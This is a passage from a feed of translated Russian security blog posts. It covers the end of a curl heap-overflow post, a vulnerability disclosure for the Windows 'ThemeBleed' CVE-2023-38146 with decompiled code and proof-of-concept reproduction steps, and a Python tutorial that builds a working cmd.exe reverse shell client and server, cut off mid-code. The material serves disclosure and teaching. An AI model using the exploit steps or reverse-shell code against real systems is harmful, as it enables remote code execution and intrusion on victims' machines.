  &lt;p id=&quot;2pJj&quot;&gt;Да, это семейство недостатков было бы невозможно, если бы Curl был написан на безопасном для памяти языке вместо C, но портирование Curl на другой язык не стоит на повестке дня. Я уверен, что новость об этой уязвимости вызовет новый поток вопросов и призывов к этому, и я могу вздохнуть, закатить глаза и попытаться ответить на этот вопрос еще раз.&lt;/p&gt;
  &lt;p id=&quot;qJhL&quot;&gt;Единственный подход в этом направлении, который я считаю жизнеспособным и разумным, заключается в следующем:&lt;/p&gt;
  &lt;ol id=&quot;ugHc&quot;&gt;
    &lt;li id=&quot;E6zs&quot;&gt;разрешать, использовать и поддерживать больше зависимостей, написанных на языках, безопасных для памяти, и&lt;/li&gt;
    &lt;li id=&quot;SazP&quot;&gt;потенциально и постепенно заменять части завитка по частям, как с появлением &lt;a href=&quot;https://daniel.haxx.se/blog/2020/10/09/rust-in-curl-with-hyper/&quot; target=&quot;_blank&quot;&gt;Hyper&lt;/a&gt; .&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;b4J6&quot;&gt;Однако в настоящее время такое развитие происходит почти с ледниковой скоростью и с болезненной ясностью показывает связанные с этим проблемы. В обозримом будущем Curl останется написанным на C.&lt;/p&gt;
  &lt;p id=&quot;u9yv&quot;&gt;Все, кого это не устраивает, конечно, могут засучить рукава и приступить к работе.&lt;/p&gt;
  &lt;p id=&quot;XbNQ&quot;&gt;С учетом последних двух CVE, зарегистрированных для Curl 8.4.0, совокупное общее количество говорит о том, что &lt;strong&gt;41%&lt;/strong&gt; уязвимостей безопасности, когда-либо обнаруженных в Curl, вероятно, не произошли бы, если бы мы использовали язык, безопасный для памяти. Но также: язык Rust даже не имел возможности практического использования для этой цели в то время, когда мы представили, возможно, первые 80% проблем, связанных с C.&lt;/p&gt;
  &lt;h2 id=&quot;TbTk&quot;&gt;Это горит в моей душе&lt;/h2&gt;
  &lt;p id=&quot;Xowy&quot;&gt;Читая код сейчас невозможно не увидеть ошибку. Да, мне действительно больно признавать тот факт, что я совершил эту ошибку, не заметив этого, и что ошибка оставалась необнаруженной в коде в течение 1315 дней. Я прошу прощения. Я всего лишь человек.&lt;/p&gt;
  &lt;p id=&quot;8I1Y&quot;&gt;Это можно было бы обнаружить с помощью более качественного набора тестов. Мы неоднократно запускали несколько статических анализаторов кода, и ни один из них не обнаружил никаких проблем в этой функции.&lt;/p&gt;
  &lt;p id=&quot;OM8m&quot;&gt;Оглядываясь назад, я бы не рекомендовал использовать переполнение кучи в коде, установленном более чем в двадцати миллиардах экземпляров.&lt;/p&gt;
  &lt;h2 id=&quot;RECc&quot;&gt;За кулисами&lt;/h2&gt;
  &lt;p id=&quot;D6bc&quot;&gt;Чтобы узнать, как было сообщено об этой ошибке, и как мы работали над ней до того, как она была обнародована. Проверьте &lt;a href=&quot;https://hackerone.com/reports/2187833&quot; target=&quot;_blank&quot;&gt;отчет Hackerone&lt;/a&gt; .&lt;/p&gt;

</content></entry><entry><id>papioss:BanJxsF-knk</id><link rel="alternate" type="text/html" href="https://teletype.in/@papioss/BanJxsF-knk?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=papioss"></link><title>CVE-2023-38146: выполнение произвольного кода через темы Windows.</title><published>2023-10-11T11:03:02.937Z</published><updated>2023-10-11T11:03:02.937Z</updated><summary type="html">Это забавная ошибка, которую я обнаружил, исследуя странные форматы файлов Windows. Это своего рода классическая уязвимость в стиле Windows, характеризующаяся нарушенной подписью, отрывочной загрузкой DLL, гонками файлов, CAB-файлами и глупостью Mark-of-the-Web. Кроме того, это был мой первый опыт участия в программе MSRC по обнаружению ошибок Windows с тех пор, как я покинул Microsoft в апреле 2022 года.</summary><content type="html">
  &lt;p id=&quot;RaGo&quot;&gt;Это забавная ошибка, которую я обнаружил, исследуя странные форматы файлов Windows. Это своего рода классическая уязвимость в стиле Windows, характеризующаяся нарушенной подписью, отрывочной загрузкой DLL, гонками файлов, CAB-файлами и глупостью Mark-of-the-Web. Кроме того, это был мой первый опыт участия в программе MSRC по обнаружению ошибок Windows с тех пор, как я покинул Microsoft в апреле 2022 года.&lt;/p&gt;
  &lt;p id=&quot;8cxg&quot;&gt;Следуя великой традиции именования уязвимостей, я с любовью назвал эту уязвимость ThemeBleed (логотипа пока нет, но я принимаю предложения).&lt;/p&gt;
  &lt;p id=&quot;SP0I&quot;&gt;В целом было очень весело найти и выявить эту уязвимость, и MSRC невероятно быстро отреагировал и назначил за нее награду :^]&lt;/p&gt;
  &lt;blockquote id=&quot;sTQp&quot;&gt;Ниже представлена ​​слегка измененная версия отчета, который я отправил в Microsoft. После отчета идет график и мои заметки по их исправлению.&lt;/blockquote&gt;
  &lt;h2 id=&quot;summary&quot;&gt;Краткое содержание&lt;/h2&gt;
  &lt;p id=&quot;jPjW&quot;&gt;В Windows 11 существует ряд проблем, которые могут привести к выполнению произвольного кода при загрузке файла пользователем &lt;code&gt;.theme&lt;/code&gt;.&lt;/p&gt;
  &lt;h2 id=&quot;bug-details&quot;&gt;Подробности об ошибке&lt;/h2&gt;
  &lt;h3 id=&quot;1-background&quot;&gt;1. История&lt;/h3&gt;
  &lt;p id=&quot;1jc3&quot;&gt;В Windows &lt;code&gt;.theme&lt;/code&gt;файлы позволяют настраивать внешний вид ОС. Сами файлы &lt;code&gt;.theme&lt;/code&gt;представляют собой ini-файлы, содержащие сведения о конфигурации. Нажатие на &lt;code&gt;.theme&lt;/code&gt;файл в Windows 11 вызовет следующую команду:&lt;/p&gt;
  &lt;pre id=&quot;AAYj&quot;&gt;&amp;quot;C:\WINDOWS\system32\rundll32.exe&amp;quot; C:\WINDOWS\system32\themecpl.dll,OpenThemeAction &amp;lt;theme file path&amp;gt;
&lt;/pre&gt;
  &lt;p id=&quot;kQzu&quot;&gt;Эта уязвимость конкретно связана с обработкой &lt;code&gt;.msstyles&lt;/code&gt;файлов. Это файлы PE (DLL), которые содержат ресурсы, такие как значки, которые будут использоваться в теме, но (не должны) содержать никакого кода. На файл &lt;code&gt;.msstyles&lt;/code&gt;можно ссылаться в &lt;code&gt;.theme&lt;/code&gt;файле следующим образом:&lt;/p&gt;
  &lt;pre id=&quot;2q09&quot;&gt;[VisualStyles]
Path=%SystemRoot%\resources\Themes\Aero\Aero.msstyles
&lt;/pre&gt;
  &lt;p id=&quot;uu4N&quot;&gt;При &lt;code&gt;.theme&lt;/code&gt;открытии файла он &lt;code&gt;.msstyles&lt;/code&gt;также будет загружен.&lt;/p&gt;
  &lt;h3 id=&quot;2-the-version-999-check&quot;&gt;2. Проверка «Версии 999»&lt;/h3&gt;
  &lt;p id=&quot;75x1&quot;&gt;При загрузке &lt;code&gt;.msstyles&lt;/code&gt;файла &lt;code&gt;LoadThemeLibrary&lt;/code&gt;винда &lt;code&gt;uxtheme.dll&lt;/code&gt;проверит версию темы. Это будет сделано путем загрузки ресурса, указанного &lt;code&gt;PACKTHEM_VERSION&lt;/code&gt;в двоичном файле. Если версия, которую он читает, равна 999, он вызовет другую функцию &lt;code&gt;ReviseVersionIfNecessary&lt;/code&gt;. Декомпилированную версию этой функции с комментариями к соответствующим частям можно увидеть ниже:&lt;/p&gt;
  &lt;pre data-lang=&quot;c&quot; id=&quot;k05I&quot;&gt;__int64 __fastcall LoadThemeLibrary(const WCHAR *msstyles_path, HMODULE *out_module, int *out_version)
{
  HMODULE module_handle;
  signed int result;
  int version;
  signed int return_val;
  unsigned int resource_size;
  __int16 *version_ptr;

  if ( out_version )
    *out_version = 0;
  module_handle = LoadLibraryExW(msstyles_path, 0, 2u);
  if ( !module_handle )
    return (unsigned int)MakeErrorLast();
  result = GetPtrToResource(
             module_handle,
             L&amp;quot;PACKTHEM_VERSION&amp;quot;,
             (const unsigned __int16 *)1,
             (void **)&amp;amp;version_ptr,
             &amp;amp;resource_size); // !!! [1] version number is extracted from resource &amp;quot;PACKTHEM_VERSION&amp;quot;
  if ( result &amp;lt; 0 || resource_size != 2 )
    goto LABEL_22;
  version = *version_ptr;
  if ( out_version )
    *out_version = version;
  return_val = -2147467259;
  if ( version &amp;gt;= 4 )
  {
    if ( version &amp;gt; 4 )
      result = -2147467259;
    return_val = result;
  }
  if ( return_val &amp;lt; 0 &amp;amp;&amp;amp; (_WORD)version == 999 ) // !!! [2] special case for version 999
  {
    resource_size = 999;
    return_val = ReviseVersionIfNecessary(msstyles_path, 999, (int *)&amp;amp;resource_size); // !!! [3] call to &amp;#x60;ReviseVersionIfNecessary&amp;#x60;
...
}
&lt;/pre&gt;
  &lt;h3 id=&quot;3-time-of-check-time-of-use-in-reviseversionifnecessary-allows-signature-bypass&quot;&gt;3. Время проверки-время использования в ReviseVersionIfNecessary позволяет обходить подпись&lt;/h3&gt;
  &lt;p id=&quot;DQ9o&quot;&gt;Функция &lt;code&gt;ReviseVersionIfNecessary&lt;/code&gt;, вызванная на предыдущем шаге, выполняет несколько действий. Учитывая путь к &lt;code&gt;.msstyles&lt;/code&gt;файлу, он выполнит следующее:&lt;/p&gt;
  &lt;ol id=&quot;Jmpe&quot;&gt;
    &lt;li id=&quot;zxRK&quot;&gt;Создайте новый путь к файлу, добавив его &lt;code&gt;_vrf.dll&lt;/code&gt;к &lt;code&gt;.msstyles&lt;/code&gt;пути к файлу.&lt;/li&gt;
    &lt;li id=&quot;FJCD&quot;&gt;Проверьте, существует ли этот новый &lt;code&gt;_vrf.dll&lt;/code&gt;файл. Если нет, выйдите.&lt;/li&gt;
    &lt;li id=&quot;KMrK&quot;&gt;Открыть &lt;code&gt;_vrf.dll&lt;/code&gt;файл&lt;/li&gt;
    &lt;li id=&quot;0IzP&quot;&gt;Проверьте подпись в &lt;code&gt;_vrf.dll&lt;/code&gt;файле. Если подпись недействительна, выйдите.&lt;/li&gt;
    &lt;li id=&quot;xqsl&quot;&gt;Закрыть &lt;code&gt;_vrf.dll&lt;/code&gt;файл&lt;/li&gt;
    &lt;li id=&quot;Ifb4&quot;&gt;Загрузите &lt;code&gt;_vrf.dll&lt;/code&gt;файл как DLL и вызовите &lt;code&gt;VerifyThemeVersion&lt;/code&gt;функцию.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;ZxHd&quot;&gt;Целью этого, по-видимому, является попытка безопасно загрузить подписанную DLL и вызвать функцию. Однако эта реализация ошибочна, поскольку DLL закрывается после проверки подписи на шаге 5, а затем снова открывается, когда DLL загружается посредством вызова LoadLibrary на шаге 6. Это обеспечивает окно гонки между этими двумя шагами, где злоумышленник может заменить &lt;code&gt;_vrf.dll&lt;/code&gt;файл, подпись которого проверена, на вредоносный файл, который не подписан. Затем эта вредоносная DLL будет загружена и выполнена.&lt;/p&gt;
  &lt;h3 id=&quot;4-mark-of-the-web-bypass&quot;&gt;4. Обход веб-меток&lt;/h3&gt;
  &lt;p id=&quot;pPzA&quot;&gt;Если пользователь загружает &lt;code&gt;.theme&lt;/code&gt;файл, при его запуске он получит предупреждение системы безопасности из-за наличия в файле метки Интернета. Оказывается, это можно обойти, упаковав &lt;code&gt;.theme&lt;/code&gt;файл в &lt;code&gt;.themepack&lt;/code&gt;файл.&lt;/p&gt;
  &lt;p id=&quot;I7Kg&quot;&gt;Файл &lt;code&gt;.themepack&lt;/code&gt;представляет собой CAB-файл, содержащий &lt;code&gt;.theme&lt;/code&gt;файл. Когда &lt;code&gt;.themepack&lt;/code&gt;файл открывается, содержащийся в нем &lt;code&gt;.theme&lt;/code&gt;файл будет загружен. При открытии &lt;code&gt;.themepack&lt;/code&gt;файла с помощью Mark-of-the-Web предупреждение не отображается, поэтому предупреждение, которое обычно отображается, игнорируется.&lt;/p&gt;
  &lt;h2 id=&quot;proof-of-concept&quot;&gt;Доказательство концепции&lt;/h2&gt;
  &lt;p id=&quot;BMH9&quot;&gt;Я разработал PoC для этой проблемы. PoC состоит из двух компонентов: исполняемого файла SMB-сервера, который нужно запустить на компьютере злоумышленника, и файла, который &lt;code&gt;.theme&lt;/code&gt;нужно открыть на компьютере цели.&lt;/p&gt;
  &lt;p id=&quot;SFjX&quot;&gt;Я решил использовать для этого SMB-сервер, контролируемый злоумышленником, поскольку &lt;code&gt;.theme&lt;/code&gt;файл может указывать на &lt;code&gt;.msstyle&lt;/code&gt;путь к удаленному общему ресурсу SMB. Поскольку общий ресурс SMB контролируется злоумышленником, он может легко использовать ошибку TOCTOU, &lt;code&gt;ReviseVersionIfNecessary&lt;/code&gt;возвращая правильно подписанный файл, когда клиент сначала запрашивает его для проверки подписи, а затем вредоносный файл, когда клиент загружает DLL.&lt;/p&gt;
  &lt;p id=&quot;tIy9&quot;&gt;PoC можно найти здесь: &lt;a href=&quot;https://github.com/gabe-k/themebleed&quot; target=&quot;_blank&quot;&gt;https://github.com/gabe-k/themebleed .&lt;/a&gt;&lt;/p&gt;
  &lt;h2 id=&quot;environment-prep&quot;&gt;Подготовка среды&lt;/h2&gt;
  &lt;p id=&quot;0QF5&quot;&gt;Для запуска PoC вам понадобятся две машины: одна машина злоумышленника, на которой будет работать SMB-сервер, и одна целевая машина, на которую вы загрузите файл &lt;code&gt;.theme&lt;/code&gt;. Ниже приведены требования к соответствующим машинам:&lt;/p&gt;
  &lt;h3 id=&quot;attacker-machine&quot;&gt;Атакующая машина&lt;/h3&gt;
  &lt;ul id=&quot;T2zW&quot;&gt;
    &lt;li id=&quot;xEYa&quot;&gt;Windows 10 или 11&lt;/li&gt;
    &lt;li id=&quot;cGx6&quot;&gt;Отключите службу «Сервер», чтобы освободить порт SMB (отключите и перезапустите, а не просто останавливайте службу)&lt;/li&gt;
    &lt;li id=&quot;W0p9&quot;&gt;Актуальная версия .NET&lt;/li&gt;
    &lt;li id=&quot;T36J&quot;&gt;Доступен для целевой машины в сети.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h3 id=&quot;target-machine&quot;&gt;Целевая машина&lt;/h3&gt;
  &lt;ul id=&quot;cgn4&quot;&gt;
    &lt;li id=&quot;XNDN&quot;&gt;Последняя версия Windows 11&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h2 id=&quot;repro-steps&quot;&gt;Шаги воспроизведения&lt;/h2&gt;
  &lt;ol id=&quot;L1jX&quot;&gt;
    &lt;li id=&quot;e1ll&quot;&gt;Создайте &lt;code&gt;.theme&lt;/code&gt;файл, запустив:&lt;code&gt;themebleed.exe make_theme &amp;lt;attacker machine ip&amp;gt; exploit.theme&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;qmta&quot;&gt;На машине злоумышленника выполните:&lt;code&gt;themebleed.exe server&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;9Mca&quot;&gt;На целевой машине откройте&lt;code&gt;exploit.theme&lt;/code&gt;&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;EV3F&quot;&gt;Это должно привести к открытию калькулятора на целевой машине. Это показывает, что был выполнен произвольный код.&lt;/p&gt;
  &lt;h2 id=&quot;credits&quot;&gt;Кредиты&lt;/h2&gt;
  &lt;p id=&quot;tc1p&quot;&gt;PoC использует &lt;a href=&quot;https://github.com/TalAloni/SMBLibrary&quot; target=&quot;_blank&quot;&gt;SMBLibrary&lt;/a&gt; Тала Алони.&lt;/p&gt;
  &lt;h2 id=&quot;conclusion&quot;&gt;Заключение&lt;/h2&gt;
  &lt;p id=&quot;zfJ5&quot;&gt;Это надежная уязвимость, которая позволяет перейти от загрузки темы к загрузке и выполнению кода без повреждения памяти. Кроме того, эта уязвимость кажется новой и присутствует только в Windows 11. Я прошу рассмотреть эту заявку на предмет вознаграждения.&lt;/p&gt;
  &lt;p id=&quot;E8pE&quot;&gt;Чтобы исправить эту уязвимость, я бы рекомендовал:&lt;/p&gt;
  &lt;ul id=&quot;e1Zq&quot;&gt;
    &lt;li id=&quot;vm9q&quot;&gt;Полностью удаляю функциональность «версии 999», но я не совсем уверен, для чего она предназначена.&lt;/li&gt;
    &lt;li id=&quot;5EKz&quot;&gt;Подписание и проверка &lt;code&gt;_vrf.dll&lt;/code&gt;двоичного файла стандартным способом Windows проверяет другой код, а не тот, который уязвим для подобных состояний гонки.&lt;/li&gt;
    &lt;li id=&quot;UZf5&quot;&gt;Запретить загрузку ресурсов из удаленных общих ресурсов в файлах темы.&lt;/li&gt;
    &lt;li id=&quot;K1R6&quot;&gt;Добавляйте в файлы предупреждения о веб-маркировке &lt;code&gt;.themepack&lt;/code&gt;.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;blockquote id=&quot;iZl1&quot;&gt;Конец исходного отчета&lt;/blockquote&gt;
  &lt;h2 id=&quot;reporting-timeline&quot;&gt;График отчетности&lt;/h2&gt;
  &lt;ul id=&quot;QnUl&quot;&gt;
    &lt;li id=&quot;VevE&quot;&gt;15 мая 2023 г. — отчет и PoC отправлены в Microsoft.&lt;/li&gt;
    &lt;li id=&quot;E6SY&quot;&gt;16.05.2023 — Признание уязвимости со стороны Microsoft.&lt;/li&gt;
    &lt;li id=&quot;Ypgy&quot;&gt;17.05.2023 — вознаграждено вознаграждение в размере 5000 долларов США.&lt;/li&gt;
    &lt;li id=&quot;rawU&quot;&gt;12.09.2023 - Выпущен фикс.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h2 id=&quot;microsoft-fix-analysis&quot;&gt;Анализ исправлений Microsoft&lt;/h2&gt;
  &lt;p id=&quot;h8DX&quot;&gt;Выпущенное Microsoft исправление этой проблемы полностью удалило функциональность «версии 999». Хотя это и смягчает этот конкретный эксплойт, оно по-прежнему не решает проблему TOCTOU при подписании &lt;code&gt;.msstyles&lt;/code&gt;файлов.&lt;/p&gt;
  &lt;p id=&quot;V0RL&quot;&gt;Кроме того, Microsoft не добавила в файлы предупреждения о наличии веб-маркировки &lt;code&gt;.themepack&lt;/code&gt;.&lt;/p&gt;

</content></entry><entry><id>papioss:x5GUs7FUTc7</id><link rel="alternate" type="text/html" href="https://teletype.in/@papioss/x5GUs7FUTc7?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=papioss"></link><title>Создайте свой собственный Netcat, используя Python</title><published>2023-10-11T11:00:41.294Z</published><updated>2023-10-11T11:00:41.294Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/58/4c/584c05df-5594-4364-81e4-638f28415629.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://github.com/g3tsyst3m/g3tsyst3m.github.io/assets/19558280/428f6d3e-9804-4a5d-830d-0b5ecd67a20d&quot;&gt;Зачем создавать собственную версию Netcat? Вот несколько причин:</summary><content type="html">
  &lt;p id=&quot;Cb94&quot;&gt;Зачем создавать собственную версию Netcat? Вот несколько причин:&lt;/p&gt;
  &lt;ul id=&quot;yvIG&quot;&gt;
    &lt;li id=&quot;E8jx&quot;&gt;Защитник Windows для конечной точки — это по крайней мере одно решение EDR. Я могу подтвердить, что оно блокирует/помечает его, если оно используется в Windows. Я уверен, что другие решения EDR тоже это обнаруживают.&lt;/li&gt;
    &lt;li id=&quot;CF3B&quot;&gt;Даже если он не обнаружен, он, скорее всего, где-то регистрируется и отправляется в SIEM организации.&lt;/li&gt;
    &lt;li id=&quot;AcsK&quot;&gt;Сокеты — это основная основа всего, что связано с C2, обратными шеллами/шеллкодами, RCE и т. д. Поэтому нам, вероятно, следует понять, как они работают!&lt;/li&gt;
    &lt;li id=&quot;C8cb&quot;&gt;Самый популярный шеллкод, созданный с использованием msfvenom, — это обратный шелл. Что произойдет, если вы не сможете создать обратную оболочку с помощью msfvenom…&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;d02Z&quot;&gt;Вышеупомянутые причины достойны изучения того, как создавать собственные серверные и клиентские сценарии сокетов, которые выполняют то же самое, что и Netcat, за исключением функции передачи файлов.&lt;/p&gt;
  &lt;p id=&quot;oQEq&quot;&gt;Ладно, я закончил болтать, начнем!&lt;/p&gt;
  &lt;h2 id=&quot;the-server&quot;&gt;&lt;strong&gt;Сервер&lt;/strong&gt;&lt;a href=&quot;https://g3tsyst3m.github.io/sockets/Create-your-own-Netcat-using-Python/#the-server&quot; target=&quot;_blank&quot;&gt;Постоянная ссылка&lt;/a&gt;&lt;/h2&gt;
  &lt;pre id=&quot;vGey&quot;&gt;import socket
import subprocess
import sys
import time
import threading
import asyncio
import io
import os
#import readline
import colorama
from colorama import Fore, Back, Style

host = &amp;quot;0.0.0.0&amp;quot; # No IP restrictions for the IP to be used for a connection
port = 4546 # the selected port we will use for listening for a connection 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  #type of socket, in this case IPV4 addresses are expected to be used
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #allow reusing this socket for multiple connections
s.bind((host, port)) #bind to our set IP/port
s.listen(5) #  queue up as many as 5 connect requests before refusing additional connections
print(Fore.YELLOW + &amp;quot;[+] listening on port &amp;quot;+str(port), Fore.WHITE)

conn, addr = s.accept()
print(Fore.GREEN, f&amp;#x27;\n[*] Accepted new connection from: {addr[0]}:{addr[1]}&amp;#x27;, Fore.WHITE)
&lt;/pre&gt;
  &lt;p id=&quot;ArGT&quot;&gt;Это базовый шаблон для привязки к указанному вами IP/порту, который можно найти в приведенном выше коде. Вот и все! Приведенный выше код — это все, что необходимо для привязки к вашему IP/порту и прослушивания удаленных подключений.&lt;/p&gt;
  &lt;h2 id=&quot;the-client&quot;&gt;&lt;strong&gt;Клиент&lt;/strong&gt;&lt;a href=&quot;https://g3tsyst3m.github.io/sockets/Create-your-own-Netcat-using-Python/#the-client&quot; target=&quot;_blank&quot;&gt;Постоянная ссылка&lt;/a&gt;&lt;/h2&gt;
  &lt;pre id=&quot;ZIAZ&quot;&gt;import argparse
import socket
import subprocess
import sys
import threading
import os
import time
from win32com.shell import shell

host=&amp;quot;127.0.0.1&amp;quot; # ip of the listening server we wish to connect to
port=4546 # port for the listening server we wish to connect to
    
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #IPV4 TCP/IP networking
try:
    client.connect((host, port)) #connect over to our server!
except:
    print(&amp;quot;server/socket must have died...time to hop off&amp;quot;) #self-explanatory
    os._exit(0)
&lt;/pre&gt;
  &lt;p id=&quot;7OmP&quot;&gt;Это базовый шаблон для подключения к вашему прослушивающему серверу. Написать клиент даже проще, чем код сервера! 😸&lt;/p&gt;
  &lt;p id=&quot;NrKQ&quot;&gt;&lt;strong&gt;Код в действии!&lt;/strong&gt;&lt;/p&gt;
  &lt;figure id=&quot;Oizh&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://github.com/g3tsyst3m/g3tsyst3m.github.io/assets/19558280/428f6d3e-9804-4a5d-830d-0b5ecd67a20d&quot; width=&quot;600&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;egeq&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://github.com/g3tsyst3m/g3tsyst3m.github.io/assets/19558280/325823ae-4626-4b98-91d3-2855fa7c0603&quot; width=&quot;411&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;CCsr&quot;&gt;Хорошо… это невероятно просто. Я понимаю. Просто подожди… Это еще не все. Я использую это как возможность объяснить основы вплоть до отправки оболочки на сервер. Повесить там!&lt;/p&gt;
  &lt;p id=&quot;rm5P&quot;&gt;&lt;strong&gt;Вступление: Python Threading!&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;scnj&quot;&gt;Теперь нам нужен способ настроить отдельные фоновые «рабочие» потоки, которые будут постоянно получать и отправлять данные через наш сокет. Python делает это проще простого! Мы настроим два потока:&lt;/p&gt;
  &lt;ul id=&quot;LcEa&quot;&gt;
    &lt;li id=&quot;IoIR&quot;&gt;Первый поток выполнит наш код, содержащийся в функции shellreceiver(). Эта функция будет постоянно готова к получению возвращаемого командной оболочкой cmd клиента сокета STDOUT (вывод «оболочки» клиента).&lt;/li&gt;
    &lt;li id=&quot;3Lps&quot;&gt;Второй поток будет запускать наш код, содержащийся в функции shellsender(). Эта функция будет постоянно готова отправлять ваши команды, которые вы хотите выполнить на клиенте, поскольку на клиенте будет запущена оболочка cmd.exe.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;D9RJ&quot;&gt;Надеюсь это имеет смысл. Признаюсь, мне потребовалось некоторое время, чтобы наконец понять, как работает оболочка. Пример, на котором я строю, — это то, как выполняется классическая обратная оболочка. Ваша жертва запускает клиент обратной оболочки, который запускает &lt;code&gt;cmd.exe&lt;/code&gt;процесс и передает выходные данные в ваш сокет. Затем он отправляется на ваш прослушивающий сервер. Как только наш прослушивающий сервер получает выходные данные оболочки, мы отправляем команду обратно клиенту для выполнения. Кстати, клиент также находится в состоянии прослушивания через потоки, что мы увидим позже. Хорошо, давайте посмотрим обновленный код:&lt;/p&gt;
  &lt;h2 id=&quot;updated-server-socket-code&quot;&gt;&lt;strong&gt;Обновлен код серверного сокета.&lt;/strong&gt;&lt;a href=&quot;https://g3tsyst3m.github.io/sockets/Create-your-own-Netcat-using-Python/#updated-server-socket-code&quot; target=&quot;_blank&quot;&gt;Постоянная ссылка&lt;/a&gt;&lt;/h2&gt;
  &lt;pre id=&quot;qOnx&quot;&gt;import socket
import subprocess
import sys
import time
import threading
import asyncio
import io
import os
#import readline
import colorama
from colorama import Fore, Back, Style

#receive the cmd.exe shell command output from the client
def shellreceiver(conn):
    while True:
        try:
            data=conn.recv(1)
            print(data.decode(), end=&amp;quot;&amp;quot;, flush=True)
        except:
            print(&amp;quot;server/socket must have died...time to hop off&amp;quot;)
            conn.close()
            os._exit(0)

#send our command we&amp;#x27;d like executed on the victim/client!
def shellsender(conn):
    while True:
        mycmd=input(&amp;quot;&amp;quot;)
        mycmd=mycmd+&amp;quot;\n&amp;quot;
        try:
            conn.send(mycmd.encode())
        except:
            print(&amp;quot;server/socket must have died...time to hop off&amp;quot;)
            conn.close()
            os._exit(0) 

host = &amp;quot;0.0.0.0&amp;quot;
port = 4546

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(5)
print(Fore.YELLOW + &amp;quot;[+] listening on port &amp;quot;+str(port), Fore.WHITE)

conn, addr = s.accept()
print(Fore.GREEN, f&amp;#x27;\n[*] Accepted new connection from: {addr[0]}:{addr[1]}&amp;#x27;, Fore.WHITE)

#New code starts here. This initiates our threads!
##################################################
s2p_thread = threading.Thread(target=shellreceiver, args=[conn, ])
s2p_thread.daemon = True
s2p_thread.start()

s2p_thread = threading.Thread(target=shellsender, args=[conn, ])
s2p_thread.daemon = True
s2p_thread.start()
##################################################

#continuous loop
while True:
    time.sleep(1)
&lt;/pre&gt;
  &lt;p id=&quot;qibD&quot;&gt;Теперь давайте вернемся к клиентскому коду и внесем все необходимые изменения, чтобы включить в него многопоточность.&lt;/p&gt;
  &lt;h2 id=&quot;updated-client-code&quot;&gt;&lt;strong&gt;Обновленный клиентский код&lt;/strong&gt;&lt;a href=&quot;https://g3tsyst3m.github.io/sockets/Create-your-own-Netcat-using-Python/#updated-client-code&quot; target=&quot;_blank&quot;&gt;Постоянная ссылка&lt;/a&gt;&lt;/h2&gt;
  &lt;pre id=&quot;RRu3&quot;&gt;import argparse
import socket
import subprocess
import sys
import threading
import os
import time
from win32com.shell import shell

#cmd.exe has now executed our command this client received from the server. Now we send the STDOUT result of that command after it ran via cmd.exe!
def shellstdout_sender(client, myshellproc):
    
    while True:
        output=myshellproc.stdout.read1()
        try:
            client.send(output)
        #basic exception handler to kill the process for cmd.exe if we cannot reach the server
        except:
            print(&amp;quot;connection died...&amp;quot;)
            subprocess.Popen(&amp;quot;TASKKILL /F /PID {pid} /T&amp;quot;.format(pid=myshellproc.pid))
            client.close()
            os._exit(0) 
#send errors (example: you typed &amp;#x27;net usr&amp;#x27; intead of &amp;#x27;net user&amp;#x27;. This will show you the error produced by cmd.exe    
def shellstderr_sender(client, myshellproc):
    
    while True:
        output=myshellproc.stderr.read1()
        try:
            client.send(output)
        #basic exception handler to kill the process for cmd.exe if we cannot reach the server
        except:
            print(&amp;quot;connection died...&amp;quot;)
            subprocess.Popen(&amp;quot;TASKKILL /F /PID {pid} /T&amp;quot;.format(pid=myshellproc.pid))
            client.close()
            os._exit(0)

#This function will take the command the server sent to this client, write it to the cmd.exe console, and execute it
#The shellsender() function will send the results of the executed command back to the server / attacker        
def shellreceiver(client, myshellproc):
    while True:
        try:
            data = client.recv(1024)
            if len(data) &amp;gt; 0:
                #if you type :leave: in the server/attacker console it closes the connection.  similar to &amp;#x27;exit&amp;#x27; but just a custom version of that that I like to implement
                if &amp;quot;:leave:&amp;quot; in data.decode(&amp;quot;UTF-8&amp;quot;):
                    subprocess.Popen(&amp;quot;TASKKILL /F /PID {pid} /T&amp;quot;.format(pid=myshellproc.pid))
                    client.close()
                    os._exit(0) 
                myshellproc.stdin.write(data)
                myshellproc.stdin.flush()
        #basic exception handler to kill the process for cmd.exe if we cannot reach the server
        except:
            print(&amp;quot;connection died...&amp;quot;)
            subprocess.Popen(&amp;quot;TASKKILL /F /PID {pid} /T&amp;quot;.format(pid=myshellproc.pid))
            client.close()
            os._exit(0)

# start the command shell and pipe it&amp;#x27;s contents to stdin, stout, and stderr        
myshellproc = subprocess.Popen(&amp;quot;cmd.exe&amp;quot;, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

host=&amp;quot;127.0.0.1&amp;quot;
port=4546
    
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    client.connect((host, port))
except:
    print(&amp;quot;server/socket must have died...time to hop off&amp;quot;)
    os._exit(0)

#This initiates our function threads!
###############################################
s2p_thread = threading.Thread(target=shellstdout_sender, args=[client, myshellproc])
s2p_thread.daemon = True
s2p_thread.start()

